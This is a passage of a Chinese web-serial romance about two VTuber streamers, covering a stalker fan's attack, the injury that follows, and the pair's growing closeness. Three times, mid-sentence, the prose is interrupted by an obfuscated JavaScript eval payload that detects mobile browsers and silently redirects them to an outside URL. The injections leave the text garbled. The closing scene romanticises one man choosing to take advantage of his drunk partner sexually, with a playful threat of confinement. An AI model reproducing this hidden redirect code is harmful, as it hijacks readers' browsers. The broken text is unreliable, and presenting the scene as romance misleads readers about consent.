[什么牌子的小零食这么脆。] [求求零食链接。] [花儿改行做声控主播吧。] 两轮狼人杀结束,时间刚好够下一把游戏开始。 谁是卧底。 闵谌拿到的词是地铁。 这轮是他先发言。 “跑得很快,不会堵车。” 假人:“我小学时候天天坐,买车就没坐过了。” 预制菜:“长的。” 西瓜皮:“铁包肉的交通工具。” 直直:“有四个轮子。” 气球:“有广告位。” 皇子:“会堵车。” 李竹:“我没坐过。” 弹幕: [六夜竹滚行吗?] [你在炫耀一个试试呢?] [六夜竹没资格参加谁是卧底的游戏。] [请六夜竹退出本场游戏,我已经破防了。] 噗噗从开始玩游戏嘴角就没下来过,呲着个大牙乐:“ok啊,请开始投票。” 闵谌依旧两轮被全票打飞,伪装卧底失败。 人倒霉的时候喝水都塞牙缝,就好比他两次抽到卧底,而且每次都是一轮发言后立刻出局。 卧底队友变来变去,自己坐在卧底位稳如泰山。 这边主题档结束,闵谌屁颠屁颠直播去了。 刚开播弹幕如潮水般涌来,看得他眼花缭乱,都是在说他是游戏黑洞,除了那把狼人杀被队友带飞以外,就没赢过。 闵谌岔开话题,要还歌,眼睛始终不敢盯着弹幕看,怕自己被口水呛。 李竹下主题档没直播,他直播有效时长已经够了,播不播都行,排档加上今天也够了,这后半个月能不能看到他难说。 但他粉丝都知道,六夜竹的直播间可能不会出现,漂亮花儿的直播间一定能找到他大号或小号。 李竹已经在闵谌直播间混到了粉丝等级11级。 他拿了点水果,侧躺在床上听闵谌唱歌,时不时跟着发弹幕。 现在闵谌直播间人挺多的,有5千多人,这是闵谌跟他搞cp后沉淀下来的粉丝数量,每次开播在线观看人数稳定在5千至6千。 他手指在屏幕上敲敲打打,片刻发去一条弹幕。 [神秘人:花宝唱歌好好听,多唱几首。] 18. 第 18 章 闵谌下播第一件事就是刷二创。 他刷到一个二创合集《名门厅里的搞笑名场面》。 起初他刷到的是关于李竹直播时口吐芬芳的视频,越刷越不对劲。 刷到他本人了。 一看时间,今日晚上七点。 视频是狼人杀第二轮开始,他吃东西的声音被放大,耳机里全是咔咔咔的声音。 一点开评论区,两眼一黑。 [我在场,笑疯了当时。] [起初我不知道从哪来的声音,直到看到花儿头像在闪烁,我已经开始笑了。] [二创姐是在反复让花儿社死吗?那可太好笑了。] [对手指噘嘴/你们明白六夜竹说话一顿一顿然后那声啧出来后的感觉吗,我以为他要骂人了,哈哈哈哈哈哈哈。] [六夜竹小发雷霆.jpg] 闵谌直接下场评论。 [M.漂亮花儿:已举报,望周知。] 几分钟后,有几条跟评的评论。 [?] [六夜竹请你立刻离开你老婆的账号。] [我上去就是一把糯米。] 他木着脸看评论慢慢增加。 反复鞭尸自己的视频后,他默默退出app。 第二天一早他收到了去公司拍视频、录歌的消息,是合唱,他、李竹和假人三人合唱一首最近很火的歌,那首歌已经被陈嘉炽买下了翻唱版权。 李竹一脸没睡醒的懒散跟在他身后,路人看了还以为是哪位明星,毕竟没哪个普通人出门都戴着口罩的。 刚进公司发现大厅挤满了人,连保安也在人群中。 他伸着脖子想看看发生了什么,却被李竹一把揽着肩膀拐到电梯口。 “怎么了?”他转头看身边人。 李竹打了个哈欠,把口罩往上拉了拉,“这人昨天不知道怎么混进公司的,在公司厕所躲了一宿,想蹲点等公司其他工作人员上班,保洁阿姨起得早,想着来公司先把卫生打扫了休息,没成想在厕所遇到这人,被发现时还想冒充工作人员,现在被控制在这等警察来。” 闵谌睁大双眼,“这么恐怖。” 李竹点头。 他天还没亮就被电话叫醒,来公司查监控,才知道这人是怎么混进来的。 这人昨晚戴着口罩混在人群中,前台误以为他是新来的虚拟主播,没多想还给人指引了去办公室的路。 好在什么东西也没丢,不然前台得换人。 他来的时候这人还笑嘻嘻地问他要签名和合影,直接被拒。 天没亮就被吵醒,换谁都没好脸色,然后那人骂了他足足半小时。 本来他想着打那人一顿,陈嘉炽阻止了,说是交给警察,最后他臭着脸扭头回家补觉,没睡多久,又被叫起来录歌。 一天一个糟心事儿。 远处突然骚动起来,有人叫着他的ID名。 “花儿!花儿!” 闵谌脚下一顿,转身想看看是谁,就见一个人从人群中挣脱安保人员的桎梏向他冲来,嘴里几近疯狂地喊着他ID名。 “花儿!能摘下口罩我拍张照吗?我真的太喜欢你了花儿,可不可以加个联系方式!我很喜欢你,你不要和六夜竹走这么近!我会忍不住吃醋的!花儿!” 闵谌整个人霎时懵在原地,瞳孔里倒映着那人越来越近极其疯狂的嘴脸和张牙舞爪向前抓的手。 那人距离他越来越近,闵谌的世界里,所有东西都被放慢了速度,他看清那人眼里的欲望。 就在那只手快伸到自己眼前时,他猛地被人往边上带了下。 李竹力气很大,伸手往自己身边一捞,将他挡在身后,迅速抬起青筋暴起的手臂往前一握。 掐在了那人的脖子上。 对方冲过来的力道太大,李竹没站稳往后退了几步,另一只手兜着闵谌,避免摔倒。 李竹歪头看他,从他的眼神能看出他脸色很难看,眉头不悦地蹙着,声音低沉带着鼻音:“你是想进神经病院是吧,哥们。” 那人指甲很长,里面都是黑色泥点,正手舞足蹈地抓李竹,踹李竹,怒道:“放开我!放开我!六夜竹你放开我!离我家花儿远点!你该死!靠近他的人都该死!我要把你们一个个从他身边挤走!他只能是我的!你放开我!” 李竹掏了掏耳朵,抬手佯装要抽他,他便下意识护着头。 李竹嘲讽道:“这会不是你找我要签名的时候了?你以为你很牛吗?连我一只手都挣不开,瘦的跟竹竿儿似的,还叭叭往上舔。” 他这边一停,那边安保人员一窝蜂涌上来将人制止在地。 李竹甩甩手一看,手臂上全是被抓出来的伤口,冒着细细密密的血珠,血珠却已然凝固。 他转身搂着闵谌进入电梯。 闵谌还处于震惊中,没回过神来,有人在他眼前打了个响指,“嘿,回神了,已经没事了。” 闵谌眼睛追着他手转动,回过神来一瞬间抓住那结实有力此刻还在处于紧绷状态的手臂,小心翼翼地碰了下。 语气里是他都未察觉的心疼:“哥,疼吗?” 李竹笑了下,任由他抓着:“不疼,毛毛雨罢了。” 闵谌显然不信,着急道:“不录了,我们先去医院打破伤风,或者狂犬疫苗。” 说着就要去按一楼。 李竹按住他,“没事儿,这点伤不打紧,录完再去。” 闵谌非常强硬,一步也不让,“不行,就现在去。” “好好好。” 最后李竹还是妥协了。 闵谌带着李竹去医院打破伤风,即使打了破伤风他还是不放心,去买了酒精和小喷雾,往里面倒满酒精,对着李竹身上喷了好几下才放心。 但他嘴上还在嘀嘀咕咕。 李竹真是哭笑不得,忍不住揉了一把他脑袋。 “回去吧,待会儿他们找不到人又该着急了。” 闵谌乖巧地点头,眼睛始终一眨不眨地看着他手臂。 俩人被陈嘉炽打电话催促,让他们快点回来,现在需要去派出所录个口供。 去了两人才知道这人是喜欢闵谌多年的粉丝,本来以为闵谌退出前公会后不会出现在网络上了,连闵谌以前的家对方去踩了好几次点,直到得知闵谌搬家后他又屁颠屁颠跟到A市,由于公寓安保很严格,没门禁卡进不来,况且公寓房租偏贵租不起只能在附近蹲点。 后来在网络上看到闵谌和李竹走得很近, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483929|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里扭曲,买了很多作案工具,想要李竹的命,要不是当时闵谌在场,那个场面没人敢想。 闵谌得知事情起因后心生愧疚,全程跟在李竹身边,一句话也不敢说,怕李竹生气。 这人还把好几个别家极端粉丝都供了出来,只为见闵谌一面。 警察询问他的意见,他看着李竹,李竹让他想说什么说什么。 他对警察摇头拒绝:“我讨厌这种人,我不想跟他说话。” 对于这种人闵谌感觉没有见的必要,倘若先要求见面再提供信息说不定他还会见上一面,这人太蠢。 事情的最后,李女士托了点关系,那人被认定为杀人未遂,判处三年有期徒刑。 两人回公司录完歌,还录了几条营业视频,又给大家讲了事情经过,工作一结束闵谌太困,在休息室睡着了。 闵谌这边刚睡着,李竹开始龇牙咧嘴,脚莫名其妙瘸了一只。 他一瘸一拐给闵谌盖了件衣服,去了陈嘉炽办公室。 陈嘉炽一见到他很大声地“嚯”了声,“勇士变战损了?” 他抬手点了点陈嘉炽,“别跟闵谌说啊,我警告你。” “都忍一路了。”陈嘉炽说,“你这样子伤挺重,他又不瞎。” “别管。”李竹一脸晦气挥了下手,“那小子看着瘦不拉几的,踹人这么用力。” 当时被那人踢的时候只觉得疼了一瞬,后面没什么感觉了,等打破伤风的时候他腿上传来密密麻麻的疼,怕闵谌担心一路忍着,以为到公司就好了,又去派出所,今天录歌拍视频,又唱又跳的,属实有点难为他一个伤患。 陈嘉炽给出建议:“去医院看看吧。” 他一口回绝:“不去。” 陈嘉炽点点头,拿出手机:“我打电话跟你妈说。” “去去去。” 他最怕李女士那唠叨劲了,虽说儿子常年在外不怎么回家,有点风吹草动作为父母的还是会得知一些消息。 李女士说疼儿子吧,国外上高中那会他骑车被人刮破点儿皮李女士二话不说冲上去抄着一口中式英文上去跟人理论,管他三七二十一的对错,先吵再说。 说不疼吧,儿子常年不回家也没见打几个电话聊聊天,维护一下母子感情。 医院是要去的,不过要等闵谌睡醒。 眼瞅着快下午了,陈嘉炽拿出手机点外卖,“外卖,吃不吃?” “吃。” “闵谌呢?” “他也吃,别太辣就行,他不吃葱姜蒜和牛肉,还有……” 陈嘉炽把手机丢桌上,“你点呗,有的吃就不错还挑,你以为你挑内裤呢?这不要那不要的。” 李竹给他竖了个中指,自己掏出手机给闵谌点,边划拉屏幕边说:“你点我的那份,我给花儿点。” 陈嘉炽深吸口气,“你俩要成赶紧成行吗?我看着都干着急。” 李竹摇头:“不行,知道啥叫温水煮青蛙不?” 陈嘉炽翻白眼:“不想知道,我只吃过牛蛙,没吃过青蛙。” 李竹骂他:“你大爷的,你滚嗷。” 陈嘉炽咬牙切齿道:“要不是你那条好腿,我现在就给你扔出去,你个脑子长在屁股后面的玩意儿。” 19. 第 19 章 李竹是被按头送进医院的。 人进去的时候腿还能直立行走,出来时却坐着轮椅。 事情经过闵谌大概听陈嘉炽讲了一遍,明白李竹为什么来医院拍片子。 等结果出来时闵谌自责得不行。 轻微骨裂。 陈嘉炽看着手里的报告单,“骨裂?” 李竹点头:“昂。” “怎么不是骨折?” “哥们一巴掌把你从A市拍回美国你信吗?” 陈嘉炽比了个ok的手势,“行了,现在打石膏去吧,瞧瞧花儿都心疼成啥样了。” 闵谌站在陈嘉炽身后想上前又不敢。 李竹对他招手,语气带着埋怨:“躲他身后干嘛?过来。” 他一步步走过去,却又小心翼翼,不敢靠近,只弱弱地唤了一声哥。 李竹把人拉到身边,轻声细语道:“这事儿也不能怪你,不是你干的别让自己身上担责任,懂吗?” 闵谌点头:“懂了。” “真懂了?” “真懂了。” “行,我刚说了什么?” “……” 李竹轻轻叹了口气,“你要觉得自责,这段时间轮到你照顾我。” 闵谌没有丝毫犹豫,脑袋点得跟拨浪鼓似的,“好,我一定会照顾好哥的。” “走吧,先缴费。” 闵谌握着轮椅把手,慢悠悠地往前行走。 陈嘉炽在一旁完全没眼看,感觉自己来这一趟纯属多余,还不如回家跟付岁打游戏。 三人来到缴费大厅,李竹大老远就看见个少年,觉得眼熟。 那小孩留着一头碎盖短发,头上戴着反的鸭舌帽,眼神冷酷,表情拽得跟谁欠他二五八万似的。 李竹不确定地叫了声:“柯申?” 少年猛地扭头,眼中闪过一丝慌乱,看到是他后那丝慌乱仿佛是错觉。 柯申一身名牌运动装,脚上一双牌子小白鞋,两手插兜朝他走来。 他什么也没说,只是对他们三人点头当做打招呼。 李竹道:“你一个人来?” 柯申点头。 李竹又道:“你妈呢?” 柯申没点头,眉头皱着,像是在思考怎么回答这个问题。 李竹用脚想都知道柯申他妈肯定在出差,“行了,我知道了,去吧。” 柯申没走,眼睛盯着他腿。 李竹顺着他视线看了眼,挑重点说:“哦,骨裂,不严重。” 柯申点头,表示自己了解后转身进了另一个诊室。 回家的路上,陈嘉炽在脑子里回想那小孩是谁家的孩子,记忆中没有这号人。 “诶,李竹。” “放。” “那小孩谁,我怎么没见过?” “你见过才怪呢,我小姨妈的孩子。” “哦,那没事了。” 过了一会,陈嘉炽又问:“他怎么不说话?是有什么...” 李竹接过话头:“失语症,孩子自尊心强理解一下。” 陈嘉炽点头。 闵谌也在一旁点头。 关于李竹的腿一传十十传百,最后惊动了李女士。 晚上李女士电话连番轰炸,李竹一个也没接,直接挂掉转发消息。 [麻瓜:妈妈妈,别打了别打了。] [美丽大方女明星:你要死是不是?电话不接,腿怎么回事?] [麻瓜:闵谌这会自责呢,刚忽悠好,腿就是当时制服那男的踹裂的。] [美丽大方女明星:活该。] [美丽大方女明星:向你转账20000元。] [美丽大方女明星:拿去健身房办卡锻炼锻炼吧,跟脆骨似的,退朝。] [麻瓜:儿臣领旨。] 李竹把钱领了,美滋滋把这两万块存进老婆本里,日后必将有大用。 闵谌在家里忙前忙后,几次想进厨房都被制止,李竹死活不让他进厨房,急眼就一蹦一蹦地去抓人。 为了李竹的骨头恢复,他只能作罢。 晚上直播时,闵谌直播间快炸了。 弹幕密密麻麻是他的自尊。 今日发生的事很快在网上传播,李竹因此受伤也掀起波澜。 [花儿,听说六夜竹受伤了,你没事吧。] [我听说那个人前一天就摸进公司了。] [太吓人了,我看他们录的那个视频。] [我也看了,太疯狂了吧。] [我靠,这些人真该死啊。] 李竹坐着轮椅,在他身边看他直播,为了知道直播间情况,他主动摘掉耳机,开启外放。 闵谌还担心李竹腿难受,找了张凳子放边上让他架着腿,避免充血。 对于今天发生的事闵谌没打算在直播间透露,感觉这件事拿到直播间说不太好。 然而李竹不这么想,要让各大虚拟主播知道这件事的严重性,没动管制刀具还好,就怕那些人潜入你三次元生活中给你拍了几张露脸照,三百万合同说没就没。 李竹把麦克风扒拉到自己嘴边,“我讲两句。” [又讲?] [你能不能好好养伤,天天蹭你洗衣粉儿直播间。] [受伤还不安分呢。] 李竹贱嗖嗖摊手唱道:“那又怎样,让自己习惯这个频率。” 弹幕: [你要死啊,爱慕点六夜竹。] [你要说啥。] [咱就是说你能不能说说今天什么情况。] [我刚看视频都觉得心惊肉跳的。] [我也是,特别是那个男的朝花儿边跑边喊的时候。] 李竹道:“我要说的就是这个。” 他把今天发生的事说了个大概,避重就轻地讲,还向他们透露了些在派出所时,那人供出的其他几个人,没说名字,只说了那人已经把那几个人供出来了。 “我不知道现在直播间有谁家主播的粉丝,但是我想说的是,希望某些极端的粉丝不要去介入你爱播的三次元生活,你偷拍人家有什么意义呢?你偷拍你爱播,只会让他负债三百万,外加丢工作。”李竹道:“也请各大虚拟主播外出戴好口罩,不管在哪,公司也好,都要戴好口罩,知人知面不知心,保不齐哪天你新交的朋友就是为了偷拍你而来的呢。切记,再喜欢也不要去窥探他人隐私,犯法的,也请法盲多读点书,以上是我六夜竹个人言论,有问题找我,别来我们家花儿直播间当交响乐指挥官。” [我真不理解虚拟主播也能被私生粉跟踪。] [私生粉别仗着你的喜欢去打扰他人生活了,做个人吧。] [哭哭/也请私生粉离我们家花儿远点。] [对,我今天看那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483930|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个视频,花儿全程处于惊吓状态。] [烛影摇花久久,我只能这么说了。] 隔天陈嘉炽在群里通知大家去领取门禁卡。 门禁卡需要录入公司员工身份信息,所有人都必须到场,到不了的等回公司再录入。 为了避免这种事情发生,公司上上下下进行了大面积搜查,主要是检查是否有人偷偷潜入公司安装微型针孔摄像头等。 不查不知道,这一查还真查出几个针孔摄像头,好在大家在公司没事基本上不会摘下口罩,不然被爆出来,每个人都可能面临三百万的损失。 录入身份信息的时候闵谌看到了苏影,她戴着口罩,视线在人群中扫视一圈,似乎是在找人。 闵谌推着轮椅,好几个公司同事围过来询问李竹情况,李竹一边开玩笑一边耐心回答问题。 苏影往他们这边走来,在李竹面前站定,还没说话眼泪就先掉了下来。 李竹吓一跳,头疼地按着太阳穴:“哎哟我天,哭啥啊,我又不是死了。” 苏影抹了一把眼泪,抽抽噎噎道:“你受伤怎么不告诉我,知不知道那天我有多着急,找你又找不到,打你电话还是空号,换号码也不说声。” 李竹不知道从谁口袋里摸出一包纸巾递给苏影道:“你上大学咱俩都没什么联系,都多少年没见了,而且我也不知道你联系方式,怎么告诉你啊,你怎么还先发制人呢。” 苏影一把夺过纸,眼珠子往上看,用纸巾在眼角下一点一点吸收眼泪。 “行吧,以后少做这些危险的事情,别老让人担心。” 李竹“嚯”了声,“你个刚大学毕业的还教育上我了。” 苏影骂道:“神经病。” 接着走到他身后,对闵谌道:“那个花儿哥,我来吧。” 闵谌没说什么,点头退到一旁。 闵谌现在心情不是很好,眼里有着谁也读不懂的情绪,让人看了只觉得他没睡醒。 实际上他想现在回家,想缩回自己觉得安全的地盘去。 心里是说不上来的累,很莫名其妙,至于在累什么他不知道,就是很累,想现在就回家躺在床上谁也不想交流。 录入身份信息的队伍很快就排到了他,他录完身份信息,没等李竹录完便离开了。 走到公寓楼下,他转身进了超市。 货架上五颜六色的东西看得他头晕,随便挑了平时爱吃的零食,付款,上楼,开门,上床躺着。 手机响了几声他也没看,眼睛闭着。 手机还在接二连三地响,他烦躁地开了勿扰模式继续想自己的事。 离开这里是个很不错的办法。 违约金赔不起。 远离李竹,淡掉对方在心里滋生的情感。 他做不到。 还有什么硬气一点的办法吗? 有的。 对方是李竹他就下不去这个决心。 感情就是人生十大难题之一。 叩叩叩—— 门外传来李竹的声音,“花儿,我进来了?” 门外等了片刻,无人回答。 门把手转动,李竹试了几次终于确认,闵谌把门反锁了。 静默几秒,李竹道:“能告诉我怎么了吗?现在不想说没关系,等你想好了再告诉我,行吗?” 最后又补了一句:“别让哥担心。” 20. 第 20 章 一句话,闵谌抬手捂着眼睛,手指摸到了湿意。 他哭了。 长这么大还是第一次因为一句话流泪。 他太矛盾了,一边想靠近李竹,一旦有些变动,他又冒出离开李竹的想法。 两个想法反复拉扯着。 就算想说,他也不知道怎么开口,说不出来,就好像有什么东西卡在咽喉里,不上不下的。 门外传来轮椅碾过地面的声响,那声音越来越远,应该是李竹等不到回答,走了。 他默默掉了会珍珠,起身拿了件新衣服进入浴室。 洗完澡出来,他感觉眼睛好了很多,没有刚哭过的感觉。 打开卧室门,一股饭菜香味在空气中弥漫,肚子很不争气地发出抗议。 他忽然发现自己好像被李竹养得很好,肚子定时定点就开始感受到饥饿。 这个想法冒出来,刚迈出去的脚默默收回。 可一想到李竹腿还没好就已经开始在厨房做饭,而他的腿暂时不适合剧烈运动,这样做不利于恢复。 他深吸口气来到厨房门口,李竹正单脚蹦着拿调味料。 他走进去帮忙,李竹转头看他,连忙把人赶出去。 “你赶紧出去,厨房外边儿那牌子是摆设是吧?” 闵谌听话地站到厨房门口。 “你腿还没好,不要来回蹦。” 李竹说:“你别管,等着吃就行了。” 闵谌无奈地负责传菜,做好就递给他。 几乎每盘菜拿到手,他都会偷吃一口,感觉距离上一次李竹做饭,还是李竹没感冒之前。 饭菜做好,四道炒菜,一道凉拌菜。 闵谌入座李竹身旁。 闵谌说:“伤没好不要瞎蹦。” 李竹说:“不瞎蹦跶某人要锁屋里一天,没办法。” 闵谌不吭声也不看李竹,实际上余光观察着对方一举一动。 李竹把玩着两根筷子,他手很灵活,两根筷子在手背上旋转,不打架也不打结。 闵谌挺吃惊的,没想到李竹不仅会做饭,还把这些技能都点满了。 李竹把筷子一放,撑着头看他,“给我说说呗,为什么把自己关在房间里。” 闵谌不知道怎么说,随口道:“想到点事,很小的事。” 李竹似笑非笑,“是因为苏影吗?” 这个问题李竹问得很犀利,他点头就代表他在吃一个女孩的醋,否认,下一个问题就是问他想到了什么事,无论怎么回答,李竹都是从侧面逼他说出口。 半晌闵谌叹了口气,把话题从人转移到话上,“嗯,她说的话让我好不容易落地的自责又提起来,会让我觉得你跟我走这么近,会不安全。” 本来想说灾星,感觉不太合适,换了个好听点的说辞。 李竹突然低低地笑了声,抬手在他脸上勾了下。 “什么不安全,我很安全,不要去听别人怎么说,要看自己怎么做。” 闵谌点头。 “有句话说得好,惊喜和意外不知道哪个会先来,就好比,意外先来了,我受伤换来你这段时间的照顾,也算是一件天大的好事,别人不知道,至少对于我来说是这样的。” 闵谌眨眨眼:“哥在开导我吗?” 李竹摊手:“不像吗?” 闵谌说:“像。” 李竹大手在他头顶揉了一把,“终于肯叫哥了,不错,奖励你今晚吃我做的饭。” 闵谌笑笑说:“好。” 吃完饭,李竹在忙周年庆的事,闵谌觉得无聊,想出去逛逛,可一看落地窗,太阳还是这么毒辣,出去逛逛的想法立刻打消。 无聊的闵谌鬼使神差地戴上口罩点进蓝海,打开了直播。 没有虚拟皮套,没有声卡,直播画面只有一双黑溜溜的大眼睛。 进入直播间的粉丝有点猛,反复退出进入,确认自己是不是进错直播间,确认没进错后,弹幕是这样的。 [?????] [哥们你谁?] [盗号?] [什么情况?] [兄弟举报了,现在盗子这么嚣张?连直播号也盗。] [不是他不仅盗号,还敢开直播间。] 此时李竹拿着平板向他走来,“你看下这个,感觉怎么样?” 屏幕上是个他看不懂的网址,中间的图片是一款纯金的葫芦项链,图片旁写着可刻字的字样。 闵谌说:“好看是好看,真的是纯金的?” 李竹说:“当然,我妈朋友开的店。” 闵谌说:“可能是我孤陋寡闻了,这个居然能刻字。” 李竹说:“别管,好看我就买了。” 李竹在平板上操作点了几下,“买了……在家带什么口罩,在直播?” 闵谌说:“我试试不拿皮套播是什么样。” 李竹毫不吝啬地夸奖:“好看。” 直播间弹幕: [这个大眼睛男孩是花儿?!] [有种老夫老妻日常聊天的感觉。] [我刚进来,买了什么?] [项链,还是纯金的。] [……有句话不知当讲不当讲。] [不讲不讲。] [该不是纯金大金链子吧?] 闵谌看弹幕看乐了。 李竹说:“你乐什么玩意儿?” 闵谌说:“弹幕说,你买的是不是大金链子。” 李竹闻言瞬间垮脸,“我买那玩意干啥?不是混的人。” 露脸直播一小时,李竹除了头部,身体其他部位一共出现在直播间三四次,大多时候都是闵谌主动把手机歪到李竹那边。 他想和李竹有很多合照。 下播前他直播间来了位不速之客。 [aa老雀:花儿,好久不见啊。] 那条弹幕很快被刷上去,他点着屏幕往下滑,去找那条弹幕。 那条弹幕很好找,滑几下就找到了。 闵谌蹙眉盯着那ID看了许久。 这是他前公会的人,真名没人知道,大家都叫他老雀,跟公会老板走得很近,有段时间传出流言蜚语,说老雀跟老板是那种关系。 刚开始他不懂那种关系是什么意思,亲戚还是什么,后来公会有个跟老雀关系不怎么样的人把那种关系点明白后,他便慢慢避开老雀,尽量和老雀减少接触,怕自己被连累进去。 越想闵谌脸色越难看,后面发生的一件事让他不寒而栗,每每深夜想起都觉得犯恶心。 这人突然出现,是来找他的。 果不其然,下播后他后台收到了老雀的私信。 [aa老雀:花儿,加个联系方式呗,133xxxxxxxx。] 蓝海直播所有功能,他最讨厌的就是已读。 加了联系方式,老雀安安静静躺在列表里连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483931|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招呼也没打。 闵谌总觉得是暴风雨来临前的宁静。 事出反常必有妖。 一只大手伸到他面前夺过手机,“看什么看这么入神?我也看看……” 李竹在看到手机后,嘴角的弧度平了下去,脸上表情顿了下,佯装什么也不知道地将手机还给他。 李竹说:“别看了,噗噗旅游回来,让我们晚上去他家吃饭,说是带了点土特产回来,去不去?” 闵谌摸了摸大拇指指甲,抬头说:“哥去我就去。” 李竹说:“今晚打扮精致点。” 闵谌问:“为什么?” 李竹想到什么露出嫌弃的表情道:“他喝点酒就爱开直播,主要是他太粘牙。” 闵谌:“……好。” 晚上他见识到了噗噗有多黏牙。 他和李竹一黑一白,同款搭配,黑白双煞。 闵谌上身白色T恤,下身黑色西装裤,衣摆掖进裤腰。李竹上黑色T恤,下白色西装裤,同样的衣摆掖进裤腰里。 刚进去那会儿被起哄闹了一会儿,两个人戴着口罩,看不到脸上的表情,只能通过眼睛判断,闵谌笑起来眼睛弯成月牙,李竹笑起来眼下卧蚕很明显。 吃完饭喝点酒,噗噗正如李竹所说,跌跌撞撞戴好口罩,拿出手机投屏到电视上,然后开直播,镜头就对着他俩。 噗噗大着舌头道:“给粉丝朋友们看看,咱们今天的黑白双煞。” 镜头往下移去拍李竹那只打着石膏的腿,“看我们竹队限定版石膏腿,走过路过不要错过,错过就没机会了。” 电视机屏幕上一个个弹幕刷过。 [噗噗这是喝了多少。] [咱就是说,能不能让他改掉喝酒就开播的毛病。] [我都准备睡了,因为一个直播爬起来观看。] [花儿好白嫩,好想rua一下。] [多的不说了,小情侣99。] 闵谌捂着眼睛,“噗噗,你真开啊。” 噗噗拿着手机东倒西歪,“那还能有假?我每天的心愿就是从家人们的兜里掏点钱。” 皇子乐得发出嘎嘎声。 [谁家鸭子被放出来了。] [噗噗你说你掏就掏吧,能不能在清醒状态下?] [新来的,请问这是动物园吗?] [来个人管管吧。] [管理在不在,麻烦把我家这丢人爱播直播间给掐了。] 噗噗把镜头一转,对着笑得前仰后合的另几人。 假人和预制菜在划酒拳,其余人每读一条弹幕就笑一次。 直播间的粉丝一度怀疑自己才是主播,这几个人是粉丝,读个弹幕都能笑成这样,也是没谁了。 直播间镜头一转,电视机上的内容也跟着转动,两张两颊红彤彤的大脸蛋子乍然出现。 [这是什么玩意?] [噗噗大晚上的,别搞。] [吓得我把手机丢出去了。] [已举报该直播间,家人说我做得对吗?] 那两张大红脸蛋是噗噗家门上贴的福娃海报。 说实话,这东西突然凑近着实很吓人。 闵谌憋笑憋得肩膀耸动,李竹歪头看他。 李竹忽地拿出手机,拍了张闵谌的侧脸。 “哥,你偷拍呢?” 李竹大大方方地展示给他看:“光明正大的,不算偷拍。” 21. 第 21 章 闵谌也拿出手机,开了自拍,咔咔给两人来了两张。 照片里闵谌戴着口罩眉眼弯弯,正对镜头,李竹侧着头,看着他,眼睛里仿佛把温柔揉碎了藏进眼里。 他什么也没说,收起手机继续看其他人闹作一团。 后半夜噗噗关了直播大家都喝得有点高,开始说胡话,行为举止变得不那么见外,连闵谌也在其中。 李竹头疼地看着怀里的人,睫毛修长浓密,双手环抱着他的腰,脑袋不停地在他腹部蹭来蹭去。 “花儿。” 闵谌哼哼唧唧算是回答。 他伸手捏了下闵谌脸颊,温声道:“准备回家了,能站得起来吗?” 闵谌脑子动了下,之后便没下文了。 他又气又无奈,只好把人抱坐在腿上,脑袋靠着他肩膀,好在当初买轮椅时嫌手推的麻烦,花大几千买了个电动轮椅。 平时有闵谌推,这会倒是派上用场了。 他开着轮椅离开,留身后东倒西歪的兄弟们呼呼大睡。 噗噗家距离两人家不远,就隔两层楼,短短几分钟到家。 一进门李竹轻拍了下闵谌的屁股,“醒醒到家了。” 闵谌抬起脑袋,双眼迷离地看着他,“哥?” 李竹挑眉:“嗯哼。” 闵谌盯着他看,好似在用眼睛描摹他的五官。 就在他以为闵谌会乖乖起来时,一个温热柔软的吻落在他嘴角边。 李竹怔住,脑子在这一刻卡死,一动不动地瞪大双眼。 闵谌在他脸上胡乱亲着,脸上全是闵谌的口水。 他被忽然袭来的幸福砸了个猝不及防,不知怎么应对,双手护着闵谌,怕对方坐不稳掉下去。 出于私心他想回应,出于道德他不该趁人之危,在心里纠结片刻,最终前者战胜后者。 哪个脑子缺根筋的人被暗恋的人亲还能坐怀不乱的,反正他不是正人君子,趁人之危的事,他干就干了,大不了负责。 于是他抓住闵谌的头发,迫使对方抬头与自己对视,“花儿,很坏啊。” 说着手腕发力,按住闵谌的头,跟自己的嘴唇试探地碰了碰。 两人生涩地相互磨嘴唇,李竹不想止步于碰嘴唇,他撬开闵谌牙齿探了进去,在里面大肆掠夺。 闵谌看着主导的李竹,牙齿轻轻咬住他的舌头,李竹动作一顿,闵谌双眼眯了起来,像只得逞的猫。 李竹顶住闵谌的上颚,强制对方松开牙口后又狠狠地吻了上去,边吻边开着电动轮椅拐进卧室。 他抱起闵谌,仅用一只好腿站起来,把人丢到床上,闵谌被迫在床上滚了一圈。此刻的李竹像只饿极了的猛兽,沉着双眼看着床上的人。 “花儿,不想继续下去就自己盖上被子睡觉。” 没成想闵谌爬起来半跪着双手去勾他脖子,腻歪地叫了声“哥”说:“别走。” 李竹闭上眼又睁开,转身进入浴室拿了罐芦荟凝胶出来,“明早起来翻脸不认人,或者躲起来,腿都给你打断,然后关起来。” …… …… 